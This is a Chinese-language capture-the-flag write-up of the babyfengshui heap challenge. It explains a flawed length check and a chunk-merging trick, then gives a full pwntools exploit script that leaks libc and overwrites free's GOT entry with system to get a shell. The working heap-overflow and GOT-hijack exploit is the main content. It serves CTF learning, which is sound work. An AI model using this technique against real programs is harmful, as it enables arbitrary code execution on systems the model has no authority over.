程序分析

checksec后可以看到relro保护没开,可以劫持函数got表

ida分析程序逻辑,标准的增删改查功能

而漏洞点就出现在addedit函数中

在add函数中,是用于创建一个包含着nametext的user结构体,在创建时name由用户控制,而text却是统一的0x80大小。

而重点则是在edit函数中,首先是让用户可以随意输入text的大小,但是该大小却受if ( (v3 + **(&ptr + a1)) >= *(&ptr + a1) - 4 )的影响也就是超出存储在之前结构体中text的大小时则会退出。

利用思路

但由于是*(&ptr+a1)-4 是靠偏移来确定大小的,所以也就只有在name堆块与text堆块在物理地址相邻时才有作用,因此我们可以通过delete函数删除一个user便可以使程序连续free掉两个堆块,从而使两个0x88的堆块合并成为一个0x110的堆块

进而我们再次使用add添加数据的时候,第一次输入的name设置大小为0x100就可以使 name与text堆块物理不相邻,这样一来我们的text字段便可输入任意大小的数据

接下来就可以对能够造成溢出的name堆块填充大量的数据覆盖到下一个user的name字段中,来控制下一个user中的text地址指向

最后便可以控制该text指向某个函数的got表地址,即可劫持函数的got表指向system函数。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
#!/usr/bin/env python2
# -*- coding: utf-8 -*- #
# @偏有宸机_Exploit-Template
# Exploiting: python exploit.py [IP PORT] [Exploit_Template]
# Edit values:
# - RemPro()
# - elf_addr
# - libc_addr
# - enable_Onegadgets
# - exp()

import os
import sys
import subprocess
from pwn import *
from one_gadget import generate_one_gadget
# context.terminal = ["tmux","splitw","-h"]
context.terminal = ["tmux","new-window"]
context.log_level = "debug"

### 远程本地连接
def RemPro(ip='',port=''):
global sh,elf,libc,one_ggs
elf_addr = "./babyfengshui_33c3_2016" # 本地ELF
libc_addr = "/lib/i386-linux-gnu/libc.so.6" # Libc文件
pro_libc = "/home/da1sy/DA1SY-Win/CTF/libc/16.04/32/libc.so.6"
if len(sys.argv) > 2 :
sh = remote(sys.argv[1],sys.argv[2])
try:
libc = ELF(pro_libc)
libc_addr = pro_libc
except:
log.info("No set Remote_libc...")
libc = ELF(libc_addr)
else:
libc = ELF(libc_addr)
try:
sh = remote(ip,port)
libc = ELF(pro_libc)
libc_addr = pro_libc
except:
sh = process(elf_addr)
# one_ggs = [0x45226, 0x4527a, 0xf0364,0xf1207]
one_ggs = one_gadget(libc_addr)
elf = ELF(elf_addr)
return 1

### 调试用
def debug(cmd=""):
if len(sys.argv) <= 2:
log.progress("Loading Debug....")
gdb.attach(sh,cmd)
### Shell_code
def shell_code(fw):
if fw == 32:
return asm(shellcraft.sh())
elif fw == 64:
return asm(shellcraft.amd64.linux.sh())
### One_Gadget
def one_gadget(filename):
log.progress("Leak One_Gadgets...")
return map(int, subprocess.check_output(['one_gadget', '--raw','-f', filename]).split(' '))
#one_gg = one_gadget("/lib/x86_64-linux-gnu/libc.so.6")

def exp():
def add(size,name,length,text):
sh.recvuntil("Action: ")
sh.sendline("0")
sh.recvuntil("tion: ")
sh.sendline(str(size))
sh.recvuntil("name: ")
sh.sendline(str(name))
sh.recvuntil("length: ")
sh.sendline(str(length))
sh.recvuntil("text: ")
sh.sendline(str(text))
def dele(idx):
sh.recvuntil("Action: ")
sh.sendline("1")
sh.recvuntil("index: ")
sh.sendline(str(idx))
def show(idx):
sh.recvuntil("Action: ")
sh.sendline("2")
sh.recvuntil("index: ")
sh.sendline(str(idx))
def edit(idx,length,text):
sh.recvuntil("Action: ")
sh.sendline("3")
sh.recvuntil("index: ")
sh.sendline(str(idx))
sh.recvuntil("length: ")
sh.sendline(str(length))
sh.recvuntil("text: ")
sh.sendline(str(text))

add(0x80,"A",0x80,"aaaa")#idx 0
add(0x80,"B",0x80,"bbbb")#idx 1
add(0x8,"C",0x8,"/bin/sh\x00")#idx 2
# add(0x80,"D",0x80,"dddd")#idx 3
# debug()

dele(0)
free_got = elf.got["free"]
log.info("free_got => 0x%x",free_got)
# add(0x100,"D",0x200,"dddd")
add(0x100,"D",0x200,"d"*0x198+p32(free_got))
show(1)
sh.recvuntil("description: ")

free_addr = u32(sh.recv(4))
success("free_addr => 0x%x",free_addr)
libc_base = free_addr - libc.sym["free"]
# one_gg = one_ggs[1]+libc_base
sys_addr = libc_base + libc.sym["system"]
success("libc_base => 0x%x",libc_base)
success("sys_addr => 0x%x",sys_addr)
edit(1,8,p32(sys_addr))
dele(2)

# debug()

return sh

def exp_2():
print "this is exp_2"


if __name__=="__main__":
RemPro()
if len(sys.argv) > 3 :
eval(sys.argv[3])()
elif (len(sys.argv)>1 and len(sys.argv)<3):
eval(sys.argv[1])()
else:
exp()
sh.interactive()